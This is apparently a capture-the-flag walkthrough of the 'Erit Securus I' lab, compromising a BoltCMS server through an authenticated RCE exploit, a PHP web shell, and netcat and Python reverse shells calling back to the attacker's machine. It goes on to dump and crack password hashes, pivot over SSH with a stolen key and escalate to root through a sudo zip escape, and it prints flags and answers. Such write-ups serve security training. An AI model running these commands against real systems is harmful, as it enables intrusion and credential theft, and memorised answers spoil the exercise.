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Erit Securus I

Learn to exploit the BoltCMS software by researching exploit-db.

[Task 2] Reconnaissance

We run a simple nmap scan. You can learn more here (

#2.1 - How many ports are open?

Nmap reveals 2 open ports:

22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 b1:ac:a9:92:d3:2a:69:91:68:b4:6a:ac:45:43:fb:ed (DSA)
|   2048 3a:3f:9f:59:29:c8:20:d7:3a:c5:04:aa:82:36:68:3f (RSA)
|   256 f9:2f:bb:e3:ab:95:ee:9e:78:7c:91:18:7d:95:84:ab (ECDSA)
|_  256 49:0e:6f:cb:ec:6c:a5:97:67:cc:3c:31:ad:94:a4:54 (ED25519)
80/tcp open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

#2.2 - What ports are open? Comma separated, lowest first: ,

Answer: 22,80

[Task 3] Webserver

Examine webserver. Identify what web-app is running.

#3.1 - What CMS is the website built on?

At the bottom of the home page, there is a link disclosing that the site is build with Bolt:

$ curl -s | grep Built
    This website is <a href='%url%' target='_blank' title='Sophisticated, lightweight & simple CMS'>Built with Bolt</a>.

Answer: Bolt

[Task 4] Exploit

Download exploit for this app. The exploit works, but might not fire every time. If you first don’t succeed…

#4.1 - In the exploit from 2020-04-05, what language is used to write the exploit?

Let’s download the exploit, which is written in python:


Answer: python


As the exploit is authenticated, you will also need a username and password. Knowing the URI for the login-portal is also critical for the exploit to work. Find the login-portal and try login in.

Hint: admin:password

Visit the Bolt online user manual to check the section about login. We are told that the login page can be found under the /bolt directory.

There is no indication about default credentials. Let’s take the assumption that there is an admin account, and we will start with some basic passwords (admin, password, …). It worked with admin:password.

[Task 5] Reverse shell

python3 http://ip username password

We can create a simple php-shell on the server, like this:

$ echo '<?php system($_GET["c"]);?>' > c.php

This we can use to upload a netcat reverse shell on the system and get a reverse shell, as there is no netcat on the box.

If you are using Kali Linux, the netcat installed supports the -e parameter (execute). Using this parameter we can start a shell upon connecting.

The -e parameter is often removed from netcat in a lot of the Linux distributions, because it can be exploited to gain a shell. :-)

First we link the installed netcat to the current directory on our attacking machine:

ln -s $(which nc) .

Then we start a simple web server to serve some files, make sure the files you want to serve are in the current directory:

This will listen on port 8000 on you local machine: python3 -m http.server 8000

Using the c.php file we just dropped, we can browse to http://serverip/files/cmd.php?c=wget http://yourip:8000/nc to download a linux netcat to the server, you will see in your web server if it has been retrieved.

This file is dropped in the same directory as our c.php. We make this nc executable like this: http://serverip/files/cmd.php?c=chmod 755 nc

Now start a netcat listener on your own machine, listening on a free port (we use 4444 here)

ncat -nv -l -p 4444

When it is uploaded and made executable, we can run it like this: http://serverip/files/cmd.php?c=./nc -e /bin/bash yourip 4444.

If all goes well, you will see a connection coming in from the bolt server. (Don’t forget to do the python pty dance, to make sure you have a shell with PTY’s allocated, some commands, especially sudo, require a PTY shell to run)

python -c 'import pty;pty.spawn("/bin/bash")'

#5.1 - What is the username of the user running the web server?

Let’s first run the exploit and confirm it’s working:

$ python admin password

 ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄  ▄       ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄       ▄▄  ▄▄▄▄▄▄▄▄▄▄▄      
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▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌      ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌░▌   ▐░▐░▌▐░█▀▀▀▀▀▀▀▀▀      
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌▐░▌ ▐░▌▐░▌▐░▌               
▐░█▄▄▄▄▄▄▄█░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌ ▐░▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄▄▄      
▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌  ▐░▌  ▐░▌▐░░░░░░░░░░░▌     
▐░█▀▀▀▀▀▀▀█░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌   ▀   ▐░▌ ▀▀▀▀▀▀▀▀▀█░▌ 
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌     ▐░▌          ▐░▌       ▐░▌          ▐░ 
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░▌     ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌ ▄▄▄▄▄▄▄▄▄█░▌
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌
 ▀▀▀▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀▀▀▀▀  ▀▀▀▀▀▀▀▀▀▀▀  ▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀

Pre Auth rce with low credintanl
#Zero-way By @r3m0t3nu11 speical thanks to @dracula @Mr_Hex
[+] Retrieving CSRF token to submit the login form
[+] Login token is : qvZXTPCH360kuPkHdY1CJ3t0vda4hsw3oQ6uMDnSf3Y
[+] FOUND  : test27
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[-] Not found.
[+] FOUND  : test33
Enter OS command , for exit 'quit' : id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
";s:8:"*stack";a:0:{}s:10:"*enabled";i:1;s:17:"*shadowpassword";N;s:14:"*shadowtoken";N;s:17:"*shadowvalidity";N;s:15:"*failedlogins";i:0;s:17:"*throttleduntil";N;s:8:"*roles";a:2:{i:0;s:4:"root";i:1;s:8:"everyone";}s:7:"_fields";a:0:{}s:42:"Bolt\Storage\Entity\Entity_specialFields";a:2:{i:0;s:3:"app";i:1;s:6:"values";}s:7:"*_app";N;s:12:"*_internal";a:1:{i:0;s:11:"contenttype";}}s:8:"*token";O:29:"Bolt\Storage\Entity\Authtoken":12:{s:5:"*id";s:2:"10";s:10:"*user_id";i:1;s:8:"*token";s:64:"e24a8ffc4daebd4b1b586ae4cbadb4be735d14ab3de9d49282260f592bec0459";s:7:"*salt";s:32:"1e7ed5c76f11a3bdc2ee3623f4c9bdc2";s:11:"*lastseen";O:13:"Carbon\Carbon":3:{s:4:"date";s:26:"2020-04-25 16:01:38.867697";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:5:"*ip";s:13:"";s:12:"*useragent";s:22:"python-requests/2.23.0";s:11:"*validity";O:13:"Carbon\Carbon":3:{s:4:"date";s:26:"2020-05-09 16:01:38.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:7:"_fields";a:0:{}s:42:"Bolt\Storage\Entity\Entity_specialFields";a:2:{i:0;s:3:"app";i:1;s:6:"values";}s:7:"*_app";N;s:12:"*_internal";a:1:{i:0;s:11:"contenttype";}}s:10:"*checked";i:1587830498;}s:10:"_csrf/bolt";s:43:"-kIwVPHftVt0SZ3XJ_uBEDpT2x-COHYjo4ZSN5H7NUE";s:5:"stack";a:0:{}s:18:"_csrf/user_profile";s:43:"Spoy_vDCzRmnuZPfXYVJNmphWLl7Dv4kuc89Yev_2ag";}s:12:"_sf2_flashes";a:0:{}s:9:"_sf2_meta";a:3:{s:1:"u";i:1587830500;s:1:"c";i:1587830498;s:1:"l";s:1:"0";}}

Unfortunately, nc is not installed on the server. We can still do a reverse shell using python. Open a listener on your machine:

$ rlwrap nc -nlvp 4444

And execute the following command on the server (exploit shell):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/bash","-i"]);'

We now have a shell.

$ whoami

Answer: www-data

[Task 6] Priv esc

In the app/database directory you will find the bolt.db SQLite3 database

  1. Open database
  2. This contains a lot of tables
  3. We list the bolt user database
  4. We see two users, the admin we already own, the other one is a wild one. We also see another IP address, (note to self)
  5. We copy the hash and save it to a file. Then run it through john the ripper, using the infamous rockyou wordlist
  6. Using this password, we try to su as the user wileec. This works, and we should find our first flag.

#6.1 - What is the users password?

Let’s dump the password hash from the SQLite database:

[email protected]:/var/www/html/app/database$ sqlite3 bolt.db
sqlite3 bolt.db
SQLite version 3.16.2 2017-01-06 16:32:41
Enter ".help" for usage hints.
sqlite> .tables
bolt_authtoken          bolt_field_value        bolt_pages            
bolt_blocks             bolt_homepage           bolt_relations        
bolt_content_changelog  bolt_log                bolt_showcases        
bolt_cron               bolt_log_change         bolt_taxonomy         
bolt_entries            bolt_log_system         bolt_users            
sqlite> select * from bolt_users;
select * from bolt_users;
1|admin|$2y$10$cBJ/8TRox2vvqllttvK0geVLVdJ0ysIdV403eCZuPJxKqVDeWRxhu||0|[email protected]|2020-06-22 18:27:09||[]|1|||||["root","everyone"]
2|wildone|$2y$10$ZZqbTKKlgDnCMvGD2M0SxeTS3GPSCljXWtd172lI2zj3p6bjOCGq.|Wile E Coyote|0|[email protected]|2020-04-25 16:03:44||[]|1|||||["editor"]

Now on our workstation, let’s crack the password:

$ echo '$2y$10$ZZqbTKKlgDnCMvGD2M0SxeTS3GPSCljXWtd172lI2zj3p6bjOCGq.' > hash
$ /data/src/john/run/john hash --wordlist=/data/src/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
snickers         (?)
1g 0:00:00:02 DONE (2020-06-22 21:20) 0.3533g/s 178.0p/s 178.0c/s 178.0C/s 12345678910..claire
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

wildone’s password is snickers.

#6.2 - Flag 1

Let’s switch to user wileec:

[email protected]:/home/wileec$ su wileec
su wileec
Password: snickers

$ whoami

Upgrade your shell and get the flag:

$ SHELL=/bin/bash script -q /dev/null
SHELL=/bin/bash script -q /dev/null
[email protected]:~$ cat flag1.txt
cat flag1.txt
[email protected]:~$ 

[Task 7] Pivoting

User wileec has a ssh private-key!

[email protected]:~$ ls -lart .ssh/
-rw-r--r-- 1 wileec wileec  393 Apr 25 15:19
-rw------- 1 wileec wileec 1675 Apr 25 15:19 id_rsa
-rw-r--r-- 1 wileec wileec  222 Apr 25 15:32 known_hosts

Remember the other IP address? We could try to connect to that one, using the SSH key:

ssh [email protected]

Remember: This has to be done from inside of the box, as this network is not available to you from the outside.

We can sudo!

If you look at gtfobins we can see how we could leverage this.

The command is not going to work as it is, you must edit some parts.

#7.1 - User wileec can sudo! What can he sudo?

As we have discovered an IP address ( in the SQLite database, let’s try to connect to it using as we have found wileec has a SSH private key.

[email protected]:~$ ls -la ~/.ssh
ls -la ~/.ssh
total 20
drwxr-xr-x 2 wileec wileec 4096 Apr 25 15:32 .
drwxr-xr-x 4 wileec wileec 4096 Apr 25 17:15 ..
-rw------- 1 wileec wileec 1675 Apr 25 15:19 id_rsa
-rw-r--r-- 1 wileec wileec  393 Apr 25 15:19
-rw-r--r-- 1 wileec wileec  222 Apr 25 15:32 known_hosts


[email protected]:~$ ssh [email protected]
ssh [email protected]

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 25 12:36:02 2020 from

From this new box, let’s see our privileges:

$ sudo -l
sudo -l
Matching Defaults entries for wileec on Securus:
    env_reset, mail_badpass,

User wileec may run the following commands on Securus:
    (jsmith) NOPASSWD: /usr/bin/zip

We can run zip as user jsmith using sudo without password, which is great because there is a way to get a shell from it:

Answer: (jsmith) NOPASSWD: /usr/bin/zip

[Task 8] Privesc #2

Using the sudo-trick, we’re now mr or mrs Smith (and admit, who does not want to be a Mr. or Mrs. Smith once in their life?), as an extra reward, there is flag 2 here.

#8.1 - Flag 2

Let’s do a lateral move to jsmith:

$ TF=$(mktemp -u)
$ sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'
$ sudo rm $TF
$ SHELL=/bin/bash script -q /dev/null
[email protected]:/home/wileec$ cd
[email protected]:~$ ls -la
ls -la
total 24
drwxrwx--- 2 jsmith jsmith 4096 Apr 25 12:39 .
drwxr-xr-x 4 root   root   4096 Apr 26 04:01 ..
-rw-r--r-- 1 jsmith jsmith  220 Nov  5  2016 .bash_logout
-rw-r--r-- 1 jsmith jsmith 3515 Nov  5  2016 .bashrc
-rw-r--r-- 1 jsmith jsmith   33 Apr 25 12:21 flag2.txt
-rw-r--r-- 1 jsmith jsmith  675 Nov  5  2016 .profile
[email protected]:~$ cat flag2.txt

Flag 2: THM{Welcome_Home_Wile_E_Coyote!}

[Task 9] Root

As jsmith, we again check for sudo rights (this btw, should be your first action on any box when gaining access to a account)

There are several ways to exploit this rights. Go for it!

#9.1 - What sudo rights does jsmith have?

Let’s check jsmith’s privileges:

[email protected]:~$ sudo -l
sudo -l
Matching Defaults entries for jsmith on Securus:
    env_reset, mail_badpass,

User jsmith may run the following commands on Securus:

jsmith can execute any action as sudo.


#9.2 - Flag 3

[email protected]:~$ sudo -s
[email protected]:/home/jsmith# cd /root
[email protected]:~# ls -la
ls -la
total 28
drwx------  4 root root 4096 Apr 26 04:01 .
drwxr-xr-x 22 root root 4096 Apr 17 09:15 ..
lrwxrwxrwx  1 root root    9 Apr 22 07:04 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root   43 Apr 25 08:29 flag3.txt
drwx------  2 root root 4096 Apr 23 02:04 .gnupg
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
drwx------  2 root root 4096 Apr 17 09:46 .ssh
[email protected]:~# cat flag3.txt

Flag 3: THM{Great_work!_You_pwned_Erit_Securus_1!}


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